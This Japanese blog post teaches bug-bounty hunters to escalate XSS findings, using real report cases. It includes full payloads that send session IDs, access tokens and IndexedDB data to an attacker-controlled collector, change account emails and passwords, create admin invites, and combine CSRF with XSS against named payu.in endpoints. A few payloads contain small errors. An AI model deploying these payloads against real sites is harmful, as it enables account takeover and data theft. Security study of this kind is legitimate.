1. 始めに
こんにちは、morioka12 です。
本稿では、バグバウンティで実際にあった脆弱性報告の事例をもとに、XSS の具体的な脅威(Impact)についていくつか紹介します。
免責事項
本稿の内容は、セキュリティに関する知見を広く共有する目的で執筆されており、悪用行為を推奨するものではありません。
想定読者
- セキュリティ初学者・学生
- 特に Web Security の学習をしている方
- バグバウンティに興味がある方
- 脆弱性を報告して報酬金を取得したい方
2. XSS (Cross Site Scripting)
XSS (Cross Site Scripting)については、以下をご覧ください。
HackerOne Top 10 Vulnerability Types
バグバウンティプラットフォームで有名な HackerOne が公開している2023年の「7th Annual Hacker-Powered Security Report」では、XSS が最も多く報告されていました。
また、発見されたすべての脆弱性報告の18%が XSS だったそうです。
Rank | Weakness type |
---|---|
1 | Cross Site Scripting (XSS) |
2 | Improper Access Control |
3 | Information Disclosure |
4 | Insecure Direct Object Reference (IDOR) |
5 | Privilege Escalation |
6 | Misconfiguration |
7 | Improper Authentication |
8 | Business logic errors |
9 | Open redirect |
10 | Improper Authorization |
詳しくは、以下をご覧ください。
Escalation (Goal)
XSS は外部から任意の JavaScript のコードを埋め込み、悪意のあるスクリプトを他のユーザーのブラウザ上で実行させることが可能ですが、バグバウンティの脆弱性報告で危険度の高い報告を示す場合は、主に以下のような Impact をゴールとしてエスカレーションできるかを目指します。
- アカウントの乗っ取り (Account Takeover,ATO)
- メールアドレスやパスワードの改ざん
- 個人情報の取得・改ざん
- 管理者アカウントの作成や権限昇格
これらを Impact として PoC で示すことが可能であれば、危険度の高い脆弱性として判定される可能性があります。
ちなみに、このようなゴールは「Web ペネトレーションテスト (WebPT)」のシナリオにも脆弱性攻撃の目標として定められたりします。
3. XSS の脅威 (Impact)
3.1 Response Body から Session ID の奪取
例えば、ドメイン「www.redacted.com
」で以下のようにパラメーター「blogPostId
」で Reflected XSS があったとします。
https://www.redacted.com/preview/001981ba?blogPostId=test123";(alert)("xss")//
また、同一のドメインで Session ID が Response Body に含まれている API のリクエストがあったとします。
https://www.redacted.com/api/uis/accounts/current/sso
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、Session ID を返す API のリクエストを送信して、その Session ID を攻撃者のサーバーに送信させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。
fetch('https://www.redacted.com/api/uis/accounts/current/sso').then(a => a.text()) .then(a => fetch('https://random.burpcollaborator.net?x=' + a)) //
Payload は以下のような処理を実行します。
- fetch() メソッドを使用して、API にリクエストを送信する
- その際のレスポンス内容を変数 a に格納する
- 再度 fetch() メソッドを使用して、攻撃者のサーバー(
random.burpcollaborator.net
)に変数 a の内容(Response Body)を付与して送信する
最終的な URL
https://www.redacted.com/preview/001981ba?blogPostId=327156%22;fetch(%27https://www.redacted.com/api/uis/accounts/current/sso%27).then(a=%3E%20a.text()).then(a=%3E%20fetch(%27https://random.burpcollaborator.net?x=%27%2ba))//
最終的なシナリオは、XSS の Payload を含む URL に被害者をアクセスさせることで、被害者のアカウントに紐づく Sessio ID を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてログインすることが可能です。
被害者のアカウントでログインができたら、以下のようにして完全なアカウントの乗っ取りを行います。
- アカウントの設定画面からメールアドレスを攻撃者のものに変更する
- パスワードリセットの機能から変更した攻撃者のメールアドレスにパスワードを再設定する URL が送られて、任意のパスワードを設定する
- 被害者のアカウントに、攻撃者のメールアドレスと攻撃者が指定したパスワードが設定される
Reference
3.2 Local Storage から Access Token の奪取
例えば、以下のように POST リクエストのパラメーター「image_url
」で Stored XSS があったとします。
image_url="xxx onerror=alert(document.cookie);"
また、その Web アプリケーションでは、Bearer Token を JSON 形式でブラウザの Local Storage に格納されていたとします。
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、Local Storage から Access Token (Bearer Token)を奪取して、その Token を攻撃者のサーバーに送信させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。
token = JSON.parse(localStorage.getItem('KEYNAME')).access_token, url = 'https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/' + token, fetch(url);
Payload は以下のような処理を実行します。
- getItem() メソッドを使用して、Local Storage から Access Token を取得する
- 変数 url に攻撃者のサーバーの URL (
g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net
)と Access Token を付与する - fetch() メソッドを使用して、変数 url を送信する
最終的な Payload
"xxx onerror=token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url=https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);"
Stored XSS で Payload を埋め込むと、以下のように img タグ内に任意のスクリプトが埋め込まれました。
<img src="xxx" onerror="token=JSON.parse(localStorage.getItem('KEYNAME')).access_token,url='https://g0h5el9lym4iht5u2co4ovymud03os.burpcollaborator.net/'+token,fetch(url);s1600">
最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントに紐づく Access Token を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてアクセスすることが可能です。
Reference
3.3 IndexedDB から Session Data の奪取
例えば、ユーザー名を保存する POST リクエストのパラメーターで Stored XSS があったとします。
また、対象の Web アプリケーションでは、アカウントのセッション情報を保持するのに IndexedDB を使用していました。
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、IndexedDB からセッション情報を奪取して、そのセッション情報を攻撃者のサーバーに送信させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。 (WEB_HOOK
は攻撃者のサーバー)
indexedDB.databases().then((e => e.forEach((e => (e => { let o = indexedDB.open(e, 1); o.onsuccess = function() { let t = o.result, n = t.objectStoreNames || []; (new Image).src = 'WEB_HOOK?exfil=database:' + encodeURIComponent(e), Array.from(n).forEach((e => { let o = t.transaction(e, 'readonly').objectStore(e); console.log(`[+] ObjectStore:${e}`), o.getAll().onsuccess = e => { (e.target.result || []).forEach((e => { (new Image).src = 'WEB_HOOK?exfil=table:' + JSON.stringify(e) })) } })) } })(e.name)))));
最終的な Payload
<img src=x onerror="(function(){indexedDB.databases().then((e=>e.forEach((e=>(e=>{let o=indexedDB.open(e,1);o.onsuccess=function(){let t=o.result,n=t.objectStoreNames||[];(new Image).src='WEB_HOOK?exfil=database:'+encodeURIComponent(e),Array.from(n).forEach((e=>{let o=t.transaction(e,'readonly').objectStore(e);console.log(`[+] ObjectStore:${e}`),o.getAll().onsuccess=e=>{(e.target.result||[]).forEach((e=>{(new Image).src='WEB_HOOK?exfil=table:'+JSON.stringify(e)}))}}))}})(e.name)))))})()">
最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントに紐づくセッション情報を攻撃者が奪取することができ、それをそのまま攻撃者が使用することで、被害者のアカウントとしてログインすることが可能です。
IndexedDB から取得したセッション情報は、Chrome の拡張機能である「IndexedDbEdit」などを活用して被害者の情報に書き換えることで、簡単に被害者としてアクセスすることが可能です。
Reference
3.4 メールアドレスの改ざん
例えば、ドメイン「ownsubdomain.target.com
」で以下のようにパラメーター「ccpa_redirect
」で Reflected XSS があったとします。
https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:alert(1);
また、同一のドメインでアカウントのメールアドレスを変更する機能(API)があり、その変更する以下の POST リクエストには CSRF 対策用の Token がありましたが、CSRF Token は Cookie にも含まれていました。
https://ownsubdomain.target.com/api/3/settings/account
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、攻撃者のメールアドレスに変更させる API のリクエストを送信させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。
var http = new XMLHttpRequest(); http.open('POST', 'https://ownsubdomain.target.com/api/3/settings/account', true); var csrf = document.cookie.split('; ').find(row = % 3e row.startsWith('XSRF-TOKEN')).split('=')[1]; http.setRequestHeader('X-Xsrf-Token', csrf); http.withCredentials = true; http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); http.send('firstName=Hacked%26lastName=byHacker%26loginEmail=attacker@mail.com&phoneNumber=%26notificationEmail=attacker@mail.com%26signature=%26timezone=Asia/Jakarta%26language=english'); alert('email changed');
Payload は以下のような処理を実行します。
- Cookie から
XSRF-TOKEN
を取得する - Request Header の
X-Xsrf-Token
に取得した CSRF 対策用の Token を付与する - アカウントのメールアドレスを任意のメールアドレスに変更する POST リクエストを送信する
最終的な URL
https://ownsubdomain.target.com/overview/?ccpa_redirect=javascript:var%20http=new%20XMLHttpRequest();%20http.open(%27POST%27,%27https://subdomain.target.com/api/3/settings/account%27,%20true);var%20csrf=%20document.cookie.split(%27;%20%27).find(row%20=%253e%20row.startsWith(%27XSRF-TOKEN%27)).split(%27=%27)[1];http.setRequestHeader(%27X-Xsrf-Token%27,csrf);http.withCredentials=true;http.setRequestHeader(%27Content-type%27,%27application/x-www-form-urlencoded%27);http.send(%27firstName=Hacked%2526lastName=byHacker%2526loginEmail=attacker@mail.com%26phoneNumber=%2526notificationEmail=attacker@mail.com%2526signature=%2526timezone=Asia/Jakarta%2526language=english%27);alert('email%20changed');
最終的なシナリオは、XSS の Payload を含む URL に被害者をアクセスさせることで、被害者のブラウザ上で被害者のアカウントのメールアドレスを攻撃者のものに変更させることが可能です。
そして、そのまま攻撃者がパスワードリセット機能から、被害者のアカウントのパスワードを攻撃者の指定する文字列に再設定することで、完全なアカウントの乗っ取りが可能です。
Reference
3.5 パスワードの改ざん
例えば、City の名称をを保存する POST リクエストのパラメーターで Stored XSS があったとします。
また、同一のドメインでアカウントのパスワードを変更できるページがあり、その変更する以下の POST リクエストには CSRF Token がありましたが、現在のパスワードを要求する欄はありませんでした。(新規パスワードのみ)
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、他の Response Body から CSRF Token を取得して、パスワードを任意の文字列に変更させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。
var req = new XMLHttpRequest(); req.onload = handleResponse; req.open('get', '/account-details', true); req.send(); function handleResponse() { var token = this.responseText.match(/name="csrf-passwd" value="(\w+)"/)[1]; }; var http = new XMLHttpRequest(); http.open("POST", "/change-password", true); http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("content").innerHTML = this.responseText; } }; http.send("password=123123&confirm_password=123123&csrf_token=" + var);
Payload は以下のような処理を実行します。
- アカウント詳細のページ(
/account-details
)から CSRF Token (csrf-passwd
)を取得する - 取得した CSRF Token をパラメーター「
csrf_token
」に付与した状態で、任意のパスワード(123123
)を指定してパスワード変更の POST リクエストを送信する
最終的なシナリオは、XSS の Payload を含む Web ページに被害者をアクセスさせることで、被害者のアカウントのパスワードを攻撃者が指定した文字列に変更することができ、アカウントの乗っ取りまで行うことが可能です。
Reference
3.6 管理者アカウントの招待
例えば、ユーザー画面と管理者画面がある Web アプリケーションで、製品名のパラメーターで Stored XSS があったとします。
また、管理者画面には、管理者アカウントの招待を行える機能があり、招待する POST リクエストには CSRF Token が含まれていました。
これらを活用して、XSS をエスカレーションさせます。
今回は、XSS に含める任意のスクリプトの部分を、他の Response Body から CSRF Token を取得して、任意のメールアドレスとパスワードで管理者アカウントを招待(作成)させるようにします。
XSS に含める任意のスクリプトは、以下のようになります。
authenticity_token = document.getElementsByName("authenticity_token")[0].value POST_URL = "https://redacted/users/invite" var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { console.log(xhr.responseText); } } xhr.send("utf8=%E2%9C%93&authenticity_token="+authenticity_token+"&email=attacker@gmail.com&role=admin&commit=Invite+User");
Payload は以下のような処理を実行します。
- XSS のスクリプトを埋め込んだ Web ページの HTML コードから
authenticity_token
を取得する - パラメーター「
authenticity_token
」に取得した Token を付与した状態で、管理者アカウントを招待する POST リクエストを送信する
最終的なシナリオは、XSS の Payload を含む Web ページに被害者(管理者権限を持つユーザー)をアクセスさせることで、被害者のブラウザ上で攻撃者が指定したメールアドレスとパスワードで管理者アカウントを招待させることが可能です。
Reference
3.7 POST Based Reflected XSS
例えば、ドメイン「Insurance.payu.in
」でパラメーター「email
」で POST Based の Reflected XSS があったとします。
そのままでは Self XSS と同様の無意味な Impact しか示すのが難しいため、CSRF 攻撃を行って被害者のブラウザ上で POST Based の XSS を開かせるようにアプローチします。
CSRF の PoC は、以下のような HTML になります。
<!DOCTYPE html> <html> <head> <title>POC</title> </head> <body onload="submitPayuForm()"> <script type="text/javascript"> /* auto submit form when user visits our website. */ function submitPayuForm() { var payuForm = document.forms.payuFormExploit; payuForm.submit(); } </script> <form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit"> <input type="text" name="name" value="Aman Rawat"> <input type="text" name="mobile" value="999999999"> <input type="text" name="email" value='email"><script>alert("XSS");</script>'> <input type="text" name="customerid" value="12345"> <input type="text" name="amount" value="12345"> <input type="Submit" name="Submit"> </form> </body> </html>
また、アカウントの情報(ユーザー名やメールアドレスなど)を変更する PUT リクエストには、Path に UUID があり、Header に Authentication Token が含まれていました。
PUT /api/v1/merchants/<UUID> HTTP/1.1 Host: onboarding.payu.in ... Authorization: Bearer <Authentication Token> ... {"merchant":{"name":"HACKED"}}
このリクエストを XSS で行わせてアカウントの乗っ取りまでエスカレーションさせるには、アクセスした被害者アカウントの UUID と Authentication Token を奪取する必要があります。
Authentication Token の値は、payu.in
のすべてのサブドメインで共有された状態で Cookie に「merchantAccessToken
」として含まれていたため、以下のようにして取得することができました。
function getCookie(name){ var re = new RegExp(name + "=([^;]+)"); var value = re.exec(document.cookie); return (value != null) ? unescape(value[1]) : null; }; alert(getCookie("merchantAccessToken"));
email"><script>function getCookie(name){var re = new RegExp(name + "=([^;]+)"); var value = re.exec(document.cookie);return (value != null) ? unescape(value[1]) : null;};alert(getCookie("merchantAccessToken"));</script>
UUID の値は、GET リクエストの https://onboarding.payu.in/api/v1/merchants
の Response Body に含まれていて、CORS は payu.in
のサブドメインを許可していたため、以下のようにして取得することができました。
var auth = getCookie("merchantAccessToken"); var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { //fetch the merchant information that contains uuid console.log(this.responseText) }else{ console.log("Login into payu.in to exploit further"); } }; xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true); xhttp.setRequestHeader("Authorization", "Bearer "+auth); xhttp.setRequestHeader("Content-Type", "application/json"); xhttp.send(); alert("exploited");
これらを活用して、アカウント情報を変更する PUT リクエストに必要な UUID と Authentication Token を奪取することができたため、最後に以下のようにして XSS の Payload を繋ぎ合わせます。
最終的な PoC (CSRF + XSS)
<!DOCTYPE html> <html> <head> <title>POC</title> </head> <body onload="submitPayuForm()"> <script type="text/javascript"> /* auto submit form when user visits our website. */ function submitPayuForm() { var payuForm = document.forms.payuFormExploit; payuForm.submit(); } </script> <form method="POST" action="https://insurance.payu.in/payment.php" hidden="" name="payuFormExploit"> <input type="text" name="name" value="Aman Rawat"> <input type="text" name="mobile" value="999999999"> <input type="text" name="email" value='email"> <script> document.body.onload = "exploitNOW"; function getCookie(name){ var re = new RegExp(name + "=([^;]+)"); var value = re.exec(document.cookie); return (value != null) ? unescape(value[1]) : null; }; function exploiPayU(){ var auth = getCookie("merchantAccessToken"); var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.status == 200) { var resp = JSON.parse(this.responseText); var uuid = resp.merchants[0]["uuid"]; var postBody = "{\"merchant\":{\"name\":\"HACKED\"}}"; var targetURL = "https://onboarding.payu.in/api/v1/merchants/"+uuid; var auth = getCookie("merchantAccessToken"); var xhttpExploit = new XMLHttpRequest(); xhttpExploit.onreadystatechange = function(){ if (this.status == 200) { console.log("exploit completed!"); } }; xhttpExploit.open("PUT", targetURL, true); xhttpExploit.setRequestHeader("Authorization", "Bearer "+auth); xhttpExploit.setRequestHeader("Content-Type", "application/json"); xhttpExploit.send(postBody); } }; xhttp.open("GET", "https://onboarding.payu.in/api/v1/merchants", true); xhttp.setRequestHeader("Authorization", "Bearer "+auth); xhttp.setRequestHeader("Content-Type", "application/json"); xhttp.send(); } exploiPayU(); </script>'> <input type="text" name="customerid" value="12345"> <input type="text" name="amount" value="12345"> <input type="Submit" name="Submit"> </form> </body> </html>
最終的なシナリオは、XSS の Payload を含む CSRF の PoC (HTML ファイル)に被害者をアクセスさせることで、被害者のアカウント情報(ユーザー名やメールアドレス)を書き換えることができ、攻撃者のメールアドレスに変更することでアカウントの乗っ取りが可能です。
Reference
4. まとめ
もし、バグバウンティの対象で XSS を発見した場合は、以下のような観点でエスカレーションできないかを追加検証をすることをお勧めします。
- アカウントに紐づくセッション情報やトークンを JavaScript で奪取することができるか
- Cookie, Local Storage, IndexedDB, などから
- アカウント情報(メールアドレスやパスワードなど)を変更するリクエストを JavaScript で正常に送ることができるか
- CSRF 対策用のトークンを Cookie や HTML コードなどから取得して、CSRF を回避することができるか
- 機密情報を含むレスポンスを JavaScript で送信して奪取することができるか
- 仕様に反した権限外の不正な操作を JavaScript で実行することができるか
- 他の脆弱性と組み合わせて更なる脅威を示すことができるか
そして、最終的に XSS で他人のアカウントの乗っ取りまで行うことが可能だったら、脆弱性の脅威(Impact)として高い評価されると思います。
大事な視点は、発見した脆弱性で実際にどういう脅威を具体的に行うことができるかをイメージして検証することです。
注意点としては、XSS は「受動的な脆弱性」に分類されるため、バグバウンティの検証時は自身が持つ2つのアカウント間でなるべく検証を行うようにします。
5. その他
トレーニング
Web Security Academy
PortSwigger が提供する Web Security Academy の Lab のは、30個の問題が用意されています。
Google XSS Game
Google XSS Game とは、Google のセキュリティチームが作成した XSS に関する学習用ゲームです。
ツール
XSS が存在するかを検証(スキャン)するツールはいくつかあり、主に以下のようなツールがあります。
Top XSS Reports
バグバウンティ入門(始め方)
6. 終わりに
本稿では、バグバウンティで実際にあった脆弱性報告の事例をもとに、XSS の具体的な脅威(Impact)についていくつか紹介しました。
バグバウンティの対象で XSS を発見したら、ぜひ脅威をエスカレーションして Impact を高めてみてください。
ここまでお読みいただきありがとうございました。